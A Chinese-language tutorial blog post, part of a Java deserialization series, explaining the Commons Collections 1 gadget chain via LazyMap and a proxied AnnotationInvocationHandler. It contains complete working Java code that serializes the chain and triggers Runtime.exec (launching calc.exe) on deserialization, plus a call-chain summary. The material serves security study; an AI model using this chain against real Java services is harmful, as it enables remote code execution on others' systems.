跳转至
#java  #java安全  #反序列化 
本文阅读量 

反序列化篇5#

CC1#

代替TransformedMap的LazyMap及其触发方式#

在ysoserial中,CC1的链其实是用LazyMap而不是TransformedMap触发的,其主要的区别是TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的transform。

public Object get(Object key) { 
    // create value for key if key is not currently in the map 
    if (map.containsKey(key) == false) { 
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    } 
    return map.get(key);
}

那么如何触发LazyMap.get方法呢?AnnotationInvocationHandler.Invoke给到了答案:

那么又是一个套娃问题,如何触发AnnotationInvocationHandler.invoke呢?答案是使用java对象代理。

java对象代理#

这里P牛的pdf说的很清楚了,就不需要补充了,最后代码如下:

package top.longlone;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Hello {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

总结#

整条链的调用逻辑为:

AnnotationInvocationHandler.readObject()
  Proxy.entrySet() // readObject调用了proxy的某些方法,回调invoke
    Proxy.invoke() === AnnotationInvocationHandler.invoke()
      LazyMap.get()
         ChainedTransformer.transform()
          ConstantTransformer.transform() // 获取Runtime.class
          InvokerTransformer.transform()   // 获取Runtime.getRuntime
          InvokerTransformer.transform()   // 获取Runtime实例
          InvokerTransformer.transform()   // 调用exec方法触发rce

回到页面顶部